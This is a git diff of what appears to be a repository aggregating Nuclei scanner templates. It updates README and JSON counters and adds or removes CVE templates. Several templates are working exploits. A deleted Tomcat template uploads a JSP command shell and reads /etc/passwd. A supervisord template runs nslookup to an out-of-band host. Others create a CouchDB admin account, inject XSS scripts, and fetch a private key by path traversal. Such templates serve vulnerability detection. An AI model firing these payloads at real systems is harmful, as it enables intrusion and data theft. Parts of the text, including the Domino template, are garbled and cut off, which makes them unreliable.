diff --git a/README.md b/README.md index a23b9112a8..e2be9c2dc9 100644 --- a/README.md +++ b/README.md @@ -14,99 +14,65 @@ | CVE-2011 | 10 | | CVE-2012 | 18 | | CVE-2013 | 10 | -| CVE-2014 | 33 | +| CVE-2014 | 32 | | CVE-2015 | 38 | -| CVE-2016 | 31 | +| CVE-2016 | 33 | | CVE-2017 | 89 | -| CVE-2018 | 175 | +| CVE-2018 | 177 | | CVE-2019 | 160 | | CVE-2020 | 262 | | CVE-2021 | 352 | -| CVE-2022 | 357 | +| CVE-2022 | 359 | | CVE-2023 | 413 | -| CVE-2024 | 281 | -| Other | 14218 | +| CVE-2024 | 282 | +| Other | 14219 | | wordpress | 30690 | ## 近几天数量变化情况 -|2024-12-02 | 2024-12-03 | 2024-12-04 | 2024-12-05 | 2024-12-06 | 2024-12-07 | 2024-12-08| +|2024-12-03 | 2024-12-04 | 2024-12-05 | 2024-12-06 | 2024-12-07 | 2024-12-08 | 2024-12-09| |--- | ------ | ------ | ------ | ------ | ------ | ---| -|46998 | 47005 | 47034 | 47082 | 47099 | 47263 | 47302| +|47005 | 47034 | 47082 | 47099 | 47263 | 47302 | 47309| ## 最近新增文件 | templates name | | --- | -| CVE-2024-11305.yaml | -| 3055795723.yaml | -| 1094100874.yaml | -| 698707595.yaml | -| dlink-nas-rce.yaml | -| 2796080848.yaml | -| 3544869854.yaml | -| 3564201969.yaml | -| swift_performance_lite.yaml | -| 3214791161.yaml | -| 1137414296.yaml | -| 2616960077.yaml | -| 3174237950.yaml | -| 899979758.yaml | -| 3448223885.yaml | -| 3412263252.yaml | -| 1160329386.yaml | -| 270156276.yaml | -| 2399967153.yaml | -| gl-ar300m_firmware.yaml | -| 3153347766.yaml | -| 3983974321.yaml | -| CVE-2024-10046.yaml | -| CVE-2024-11367.yaml | -| cve-2021-24389-5731.yaml | -| cve-2016-1000134-2678.yaml | -| CVE-2024-12270.yaml | -| CVE-2024-12115.yaml | -| CVE-2024-11010.yaml | -| cve-2019-15713-3887.yaml | -| wp-mini-program.yaml | -| CVE-2014-4940-2384.yaml | -| CVE-2024-11451.yaml | -| multi-gallery.yaml | -| cve-2021-24406-5735.yaml | -| CVE-2024-12026.yaml | -| cve-2018-18069-3426.yaml | -| CVE-2015-1000012-2457.yaml | -| edoc-easy-tables.yaml | -| CVE-2024-12165.yaml | -| clicksend-lead-capture-form.yaml | -| CVE-2024-11464.yaml | -| CVE-2024-12166.yaml | -| beautiful-taxonomy-filters.yaml | -| zooom.yaml | -| CVE-2024-11904.yaml | -| CVE-2024-7894.yaml | -| cve-2022-0189-6611.yaml | -| CVE-2020-25213-4863.yaml | -| CVE-2024-11457.yaml | -| CVE-2024-12253.yaml | -| CVE-2024-8679.yaml | -| CVE-2024-11436.yaml | -| CVE-2016-1000153-2736.yaml | -| CVE-2024-11380.yaml | -| library-management-system.yaml | -| CVE-2024-11329.yaml | -| smoove-elementor.yaml | -| CVE-2012-4273-2195.yaml | -| CVE-2024-11374.yaml | -| CVE-2024-12167.yaml | -| CVE-2024-11943.yaml | -| CVE-2020-35489-5044.yaml | -| comfino-payment-gateway.yaml | -| CVE-2012-4768-2206.yaml | -| CVE-2015-9414-2625.yaml | -| CVE-2024-12128.yaml | -| cve-2016-1000149-2727.yaml | -| cve-2021-20792-5479.yaml | -| cf7-mollie.yaml | -| CVE-2024-11501.yaml | -| CVE-2024-12257.yaml | -| CVE-2024-11353.yaml | -| cve-2016-1000135-2684.yaml | -| CVE-2023-50094.yaml | -| CVE-2023-46455.yaml | +| 2670991367.yaml | +| 3007559384.yaml | +| 566696613.yaml | +| 2303335172.yaml | +| 1979985799.yaml | +| 2267868827.yaml | +| 986449258.yaml | +| 3354382629.yaml | +| 902529966.yaml | +| 459431066.yaml | +| 3806638511.yaml | +| path-xss.yaml | +| 640200909.yaml | +| 2124543263.yaml | +| 3230525107.yaml | +| 596766511.yaml | +| 1292911140.yaml | +| cve-2013-2287-2248.yaml | +| cve-2021-25074-5797.yaml | +| cve-2022-1119(1).yaml | +| CVE-2020-11738-4427.yaml | +| cve-2020-29395-5003.yaml | +| CVE-2015-4414-2531.yaml | +| cve-2014-4539-2356.yaml | +| CVE-2016-1000139-2702.yaml | +| CVE-2020-26153-4914.yaml | +| cve-2019-14205-3823.yaml | +| CVE-2013-4117-2265.yaml | +| cve-2012-0896-2133.yaml | +| CVE-2019-6112 2.yaml | +| CVE-2016-1000138-2696.yaml | +| CVE-2021-24335-5703.yaml | +| CVE-2021-24320-5700.yaml | +| CVE-2024-12209.yaml | +| cve-2021-34640-6236.yaml | +| cve-2012-0901-2139.yaml | +| cve-2012-4242-2183.yaml | +| CVE-2021-24472-5743.yaml | +| cve-2011-5106-2094.yaml | +| wp-health.yaml | +| cve-2016-1000153-2733.yaml | +| CVE-2011-5107-2104.yaml | diff --git a/data.json b/data.json index 4da3a7b208..efcf50a356 100644 --- a/data.json +++ b/data.json @@ -274,5 +274,6 @@ "2024-12-05": 47082, "2024-12-06": 47099, "2024-12-07": 47263, - "2024-12-08": 47302 + "2024-12-08": 47302, + "2024-12-09": 47309 } \ No newline at end of file diff --git a/data1.json b/data1.json index 5cf06a4d8d..89be011861 100644 --- a/data1.json +++ b/data1.json @@ -57884,5 +57884,47 @@ "CVE-2024-11353.yaml": "2024-12-08 02:53:10", "cve-2016-1000135-2684.yaml": "2024-12-08 02:53:10", "CVE-2023-50094.yaml": "2024-12-08 02:53:10", - "CVE-2023-46455.yaml": "2024-12-08 02:53:10" + "CVE-2023-46455.yaml": "2024-12-08 02:53:10", + "2670991367.yaml": "2024-12-09 02:50:57", + "3007559384.yaml": "2024-12-09 02:50:57", + "566696613.yaml": "2024-12-09 02:50:57", + "2303335172.yaml": "2024-12-09 02:50:57", + "1979985799.yaml": "2024-12-09 02:50:57", + "2267868827.yaml": "2024-12-09 02:50:57", + "986449258.yaml": "2024-12-09 02:50:57", + "3354382629.yaml": "2024-12-09 02:50:57", + "902529966.yaml": "2024-12-09 02:50:57", + "459431066.yaml": "2024-12-09 02:50:57", + "3806638511.yaml": "2024-12-09 02:50:57", + "path-xss.yaml": "2024-12-09 02:50:57", + "640200909.yaml": "2024-12-09 02:50:57", + "2124543263.yaml": "2024-12-09 02:50:57", + "3230525107.yaml": "2024-12-09 02:50:57", + "596766511.yaml": "2024-12-09 02:50:57", + "1292911140.yaml": "2024-12-09 02:50:57", + "cve-2013-2287-2248.yaml": "2024-12-09 02:50:57", + "cve-2021-25074-5797.yaml": "2024-12-09 02:50:57", + "cve-2022-1119(1).yaml": "2024-12-09 02:50:57", + "CVE-2020-11738-4427.yaml": "2024-12-09 02:50:57", + "cve-2020-29395-5003.yaml": "2024-12-09 02:50:57", + "CVE-2015-4414-2531.yaml": "2024-12-09 02:50:57", + "cve-2014-4539-2356.yaml": "2024-12-09 02:50:57", + "CVE-2016-1000139-2702.yaml": "2024-12-09 02:50:57", + "CVE-2020-26153-4914.yaml": "2024-12-09 02:50:57", + "cve-2019-14205-3823.yaml": "2024-12-09 02:50:57", + "CVE-2013-4117-2265.yaml": "2024-12-09 02:50:57", + "cve-2012-0896-2133.yaml": "2024-12-09 02:50:57", + "CVE-2019-6112 2.yaml": "2024-12-09 02:50:57", + "CVE-2016-1000138-2696.yaml": "2024-12-09 02:50:57", + "CVE-2021-24335-5703.yaml": "2024-12-09 02:50:57", + "CVE-2021-24320-5700.yaml": "2024-12-09 02:50:57", + "CVE-2024-12209.yaml": "2024-12-09 02:50:57", + "cve-2021-34640-6236.yaml": "2024-12-09 02:50:57", + "cve-2012-0901-2139.yaml": "2024-12-09 02:50:57", + "cve-2012-4242-2183.yaml": "2024-12-09 02:50:57", + "CVE-2021-24472-5743.yaml": "2024-12-09 02:50:57", + "cve-2011-5106-2094.yaml": "2024-12-09 02:50:57", + "wp-health.yaml": "2024-12-09 02:50:57", + "cve-2016-1000153-2733.yaml": "2024-12-09 02:50:57", + "CVE-2011-5107-2104.yaml": "2024-12-09 02:50:57" } \ No newline at end of file diff --git a/links.csv b/links.csv index 9e18de38b7..79867c0363 100644 --- a/links.csv +++ b/links.csv @@ -513,3 +513,4 @@ https://github.com/vulncrax/nuclei-templates https://github.com/vasuhacks7/Categorized_Nuclei_templates https://github.com/0xSH4RKS/nuclei-templates https://github.com/AhmetQara/Nuclei_templates2024 +https://github.com/0xDunk/loxs-template diff --git a/nuclei-templates/CVE-2001/CVE-2001-1473.yaml b/nuclei-templates/CVE-2001/CVE-2001-1473.yaml new file mode 100644 index 0000000000..d7ad14a2d1 --- /dev/null +++ b/nuclei-templates/CVE-2001/CVE-2001-1473.yaml @@ -0,0 +1,26 @@ +id: CVE-2001-1473 +info: + name: Deprecated SSHv1 Protocol Detection + author: iamthefrogy + severity: high + tags: cve,cve2001,network,ssh,openssh + description: SSHv1 is deprecated and has known cryptographic issues. + remediation: Upgrade to SSH 2.4 or later. + reference: + - https://www.kb.cert.org/vuls/id/684820 + - https://nvd.nist.gov/vuln/detail/CVE-2001-1473 + classification: + cvss-score: 7.4 + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N + cve-id: CVE-2001-1473 + cwe-id: CWE-310 +network: + - host: + - "{{Hostname}}" + - "{{Host}}:22" + matchers: + - type: word + words: + - "SSH-1" + +# Updated by Chris on 2022/01/21 diff --git a/nuclei-templates/CVE-2001/cve-2001-1473.yaml b/nuclei-templates/CVE-2001/cve-2001-1473.yaml deleted file mode 100644 index 41b50fed4e..0000000000 --- a/nuclei-templates/CVE-2001/cve-2001-1473.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2001-1473 - -info: - name: Deprecated SSHv1 Protocol Detection - author: iamthefrogy - severity: high - tags: network,ssh,openssh,cves,cves2001 - description: SSHv1 is deprecated and has known cryptographic issues. - remediation: Upgrade to SSH 2.4 or later. - reference: - - https://www.kb.cert.org/vuls/id/684820 - - https://nvd.nist.gov/vuln/detail/CVE-2001-1473 - classification: - cvss-score: 7.4 - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - cve-id: CVE-2001-1473 - cwe-id: CWE-310 - -network: - - host: - - "{{Hostname}}" - - "{{Host}}:22" - - matchers: - - type: word - words: - - "SSH-1" - -# Updated by Chris on 2022/01/21 diff --git a/nuclei-templates/CVE-2002/CVE-2002-1131.yaml b/nuclei-templates/CVE-2002/cve-2002-1131.yaml similarity index 100% rename from nuclei-templates/CVE-2002/CVE-2002-1131.yaml rename to nuclei-templates/CVE-2002/cve-2002-1131.yaml diff --git a/nuclei-templates/CVE-2004/CVE-2004-0519.yaml b/nuclei-templates/CVE-2004/cve-2004-0519.yaml similarity index 100% rename from nuclei-templates/CVE-2004/CVE-2004-0519.yaml rename to nuclei-templates/CVE-2004/cve-2004-0519.yaml diff --git a/nuclei-templates/CVE-2005/CVE-2005-2428.yaml b/nuclei-templates/CVE-2005/CVE-2005-2428.yaml deleted file mode 100644 index c74c52c360..0000000000 --- a/nuclei-templates/CVE-2005/CVE-2005-2428.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2005-2428 -info: - name: Lotus Domino R5 and R6 WebMail Default Configuration Information Disclosure - author: CasperGN - severity: medium - tags: cve,cve2005,domino - description: Lotus Domino R5 and R6 WebMail with 'Generate HTML for all fields' enabled allows remote attackers to read the HTML source to obtain sensitive information including the password hash in the HTTPPassword field, the password change date in the HTTPPasswordChangeDate field, and the client Lotus Domino release in the ClntBld field (a different vulnerability than CVE-2005-2696). - remediation: Ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other sensitive files. - reference: - - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf - - https://www.exploit-db.com/exploits/39495 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2005-2428 - cwe-id: CWE-200 - -requests: - - method: GET - path: - - "{{BaseURL}}/names.nsf/People?OpenView" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - name: domino-username - regex: - - '(
  • passwd
    • " - condition: and - part: body - - type: status - status: - - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2017/CVE-2017-10075.yaml b/nuclei-templates/CVE-2017/CVE-2017-10075.yaml new file mode 100644 index 0000000000..d5bb533add --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-10075.yaml @@ -0,0 +1,34 @@ +id: CVE-2017-10075 + +info: + name: Oracle Content Server Cross-Site Scripting + author: madrobot + severity: high + description: Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site. + reference: + - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html + - https://nvd.nist.gov/vuln/detail/CVE-2017-10075 + - http://www.securitytracker.com/id/1038940 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N + cvss-score: 8.2 + cve-id: CVE-2017-10075 + tags: cve,cve2017,xss,oracle + +requests: + - method: GET + path: + - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO" + - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "" + part: body + +# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2017/CVE-2017-10974.yaml b/nuclei-templates/CVE-2017/CVE-2017-10974.yaml deleted file mode 100644 index 3d99cc4194..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-10974.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2017-10974 - -info: - name: Yaws 1.91 - Remote File Disclosure - author: 0x_Akoko - severity: high - reference: https://www.exploit-db.com/exploits/42303 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2017-10974 - cwe-id: CWE-22 - tags: cve,cve2017,yaws,rfd,lfi - - -requests: - - method: GET - path: - - "{{BaseURL}}/%5C../ssl/yaws-key.pem" - - matchers-condition: and - matchers: - - type: word - words: - - "BEGIN RSA PRIVATE KEY" - - - type: status - status: - - 200 - - - type: dsl - dsl: - - '!contains(tolower(body), " - supervisor.supervisord.options.warnings.linecache.os.system - - - nslookup {{interactsh-url}} - - - - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "dns" - - - type: word - part: header - words: - - "text/xml" - - - type: word - part: body - words: - - "" - - "" - condition: and diff --git a/nuclei-templates/CVE-2017/CVE-2017-12149.yaml b/nuclei-templates/CVE-2017/CVE-2017-12149.yaml deleted file mode 100644 index 4196407987..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-12149.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2017-12149 - -info: - name: Jboss Application Server - Remote Code Execution - author: fopina,s0obi - severity: critical - description: Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data. - reference: - - https://chowdera.com/2020/12/20201229190934023w.html - - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149 - - https://nvd.nist.gov/vuln/detail/CVE-2017-12149 - - https://bugzilla.redhat.com/show_bug.cgi?id=1486220 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2017-12149 - cwe-id: CWE-502 - tags: java,rce,deserialization,kev,vulhub,cve,cve2017,jboss - metadata: - max-request: 3 - -http: - - raw: - - | - POST /invoker/JMXInvokerServlet/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/octet-stream - - {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }} - - - | - POST /invoker/EJBInvokerServlet/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/octet-stream - - {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }} - - - | - POST /invoker/readonly HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/octet-stream - - {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "ClassCastException" - - - type: status - status: - - 200 - - 500 - -# Enhanced by mp on 2022/05/11 diff --git a/nuclei-templates/CVE-2017/CVE-2017-12542.yaml b/nuclei-templates/CVE-2017/CVE-2017-12542.yaml new file mode 100644 index 0000000000..9bd0b6ab7e --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-12542.yaml @@ -0,0 +1,43 @@ +id: CVE-2017-12542 + +info: + name: HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass + author: pikpikcu + severity: critical + description: HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability. + reference: + - https://www.exploit-db.com/exploits/44005 + - https://nvd.nist.gov/vuln/detail/CVE-2017-12542 + - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us + - https://www.exploit-db.com/exploits/44005/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2017-12542 + tags: cve,cve2017,ilo4,hpe,auth-bypass + +requests: + - method: GET + path: + - "{{BaseURL}}/rest/v1/AccountService/Accounts" + + headers: + Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "iLO User" + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/11 diff --git a/nuclei-templates/CVE-2017/CVE-2017-12615.yaml b/nuclei-templates/CVE-2017/CVE-2017-12615.yaml deleted file mode 100644 index 31dc6cd7e4..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-12615.yaml +++ /dev/null @@ -1,62 +0,0 @@ -id: CVE-2017-12615 - -info: - name: Apache Tomcat Servers - Remote Code Execution - author: pikpikcu - severity: high - description: | - Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request. - reference: - - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615 - - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E - - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392 - - https://nvd.nist.gov/vuln/detail/CVE-2017-12615 - - http://web.archive.org/web/20210616200000/https://www.securityfocus.com/bid/100901 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cve-id: CVE-2017-12615 - cwe-id: CWE-434 - metadata: - max-request: 2 - shodan-query: title:"Apache Tomcat" - tags: rce,tomcat,kev,cisa,vulhub,cve,cve2017,apache,fileupload - -http: - - method: PUT - path: - - "{{BaseURL}}/poc.jsp/" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - <%@ page import="java.util.*,java.io.*"%> - <% - if (request.getParameter("cmd") != null) { - out.println("Command: " + request.getParameter("cmd") + "
    "); - Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); - OutputStream os = p.getOutputStream(); - InputStream in = p.getInputStream(); - DataInputStream dis = new DataInputStream(in); - String disr = dis.readLine(); - while ( disr != null ) { - out.println(disr); - disr = dis.readLine(); - } - } - %> - - - method: GET - path: - - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/09 diff --git a/nuclei-templates/CVE-2017/CVE-2017-12635.yaml b/nuclei-templates/CVE-2017/CVE-2017-12635.yaml deleted file mode 100644 index 2999c299a2..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-12635.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2017-12635 - -info: - name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation - author: pikpikcu - severity: critical - description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-12635 - - https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E - - http://www.securityfocus.com/bid/101868 - - https://security.gentoo.org/glsa/201711-16 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2017-12635 - cwe-id: CWE-269 - tags: cve,cve2017,couchdb,apache - -requests: - - raw: - - | - PUT /_users/org.couchdb.user:poc HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - - { - "type": "user", - "name": "poc", - "roles": ["_admin"], - "roles": [], - "password": "123456" - } - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/json" - - "Location:" - - - type: word - part: body - words: - - "org.couchdb.user:poc" - - "conflict" - - "Document update conflict" - - - type: status - status: - - 201 - - 409 - -# Enhanced by mp on 2022/05/11 diff --git a/nuclei-templates/CVE-2017/CVE-2017-12637.yaml b/nuclei-templates/CVE-2017/CVE-2017-12637.yaml deleted file mode 100644 index 572bcf7a8c..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-12637.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2017-12637 - -info: - name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5 - author: apt-mirror - severity: high - description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. - reference: - - https://www.cvedetails.com/cve/CVE-2017-12637/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 - - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf - - http://www.sh0w.top/index.php/archives/7/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2017-12637 - cwe-id: CWE-22 - tags: cve,cve2017,sap,lfi,java,traversal - -requests: - - method: GET - path: - - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.." - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "WEB-INF" - - "META-INF" - condition: and - part: body diff --git a/nuclei-templates/CVE-2017/cve-2017-15287.yaml b/nuclei-templates/CVE-2017/CVE-2017-15287.yaml similarity index 100% rename from nuclei-templates/CVE-2017/cve-2017-15287.yaml rename to nuclei-templates/CVE-2017/CVE-2017-15287.yaml diff --git a/nuclei-templates/CVE-2017/CVE-2017-15944.yaml b/nuclei-templates/CVE-2017/CVE-2017-15944.yaml deleted file mode 100644 index ffbe9d78c8..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-15944.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2017-15944 - -info: - name: Palo Alto Network PAN-OS - Remote Code Execution - author: emadshanab,milo2012 - severity: critical - description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface. - reference: - - https://www.exploit-db.com/exploits/43342 - - https://security.paloaltonetworks.com/CVE-2017-15944 - - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html - - https://nvd.nist.gov/vuln/detail/CVE-2017-15944 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2017-15944 - tags: cve,cve2017,rce,vpn,panos,globalprotect - -requests: - - raw: - - | - GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1 - Host: {{Hostname}} - Cookie: PHPSESSID={{randstr}}; - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "@start@Success@end@" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/26 diff --git a/nuclei-templates/CVE-2017/CVE-2017-17562.yaml b/nuclei-templates/CVE-2017/CVE-2017-17562.yaml deleted file mode 100644 index 2289e470e0..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-17562.yaml +++ /dev/null @@ -1,107 +0,0 @@ -id: CVE-2017-17562 - -info: - name: Embedthis GoAhead RCE - author: geeknik - severity: high - description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. - reference: - - https://www.elttam.com/blog/goahead/ - - https://github.com/ivanitlearning/CVE-2017-17562 - - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562 - - https://github.com/embedthis/goahead/issues/249 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cve-id: CVE-2017-17562 - cwe-id: CWE-20 - tags: cve,cve2017,rce,goahead,fuzz - -requests: - - raw: - - | - GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - payloads: - endpoint: - - admin - - apply - - non-CA-rev - - cgitest - - checkCookie - - check_user - - chn/liveView - - cht/liveView - - cnswebserver - - config - - configure/set_link_neg - - configure/swports_adjust - - eng/liveView - - firmware - - getCheckCode - - get_status - - getmac - - getparam - - guest/Login - - home - - htmlmgr - - index - - index/login - - jscript - - kvm - - liveView - - login - - login.asp - - login/login - - login/login-page - - login_mgr - - luci - - main - - main-cgi - - manage/login - - menu - - mlogin - - netbinary - - nobody/Captcha - - nobody/VerifyCode - - normal_userLogin - - otgw - - page - - rulectl - - service - - set_new_config - - sl_webviewer - - ssi - - status - - sysconf - - systemutil - - t/out - - top - - unauth - - upload - - variable - - wanstatu - - webcm - - webmain - - webproc - - webscr - - webviewLogin - - webviewLogin_m64 - - webviewer - - welcome - - stop-at-first-match: true - matchers-condition: and - matchers: - - - type: status - status: - - 200 - - - type: word - condition: and - words: - - "environment variable" - - "display library search paths" \ No newline at end of file diff --git a/nuclei-templates/CVE-2017/CVE-2017-18638.yaml b/nuclei-templates/CVE-2017/CVE-2017-18638.yaml new file mode 100644 index 0000000000..4cf8aec3d8 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-18638.yaml @@ -0,0 +1,29 @@ +id: CVE-2017-18638 + +info: + name: Graphite 'graphite.composer.views.send_email' SSRF + author: huowuzhao + severity: high + description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. + reference: + - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html + - https://github.com/graphite-project/graphite-web/issues/2008 + - https://github.com/advisories/GHSA-vfj6-275q-4pvm + - 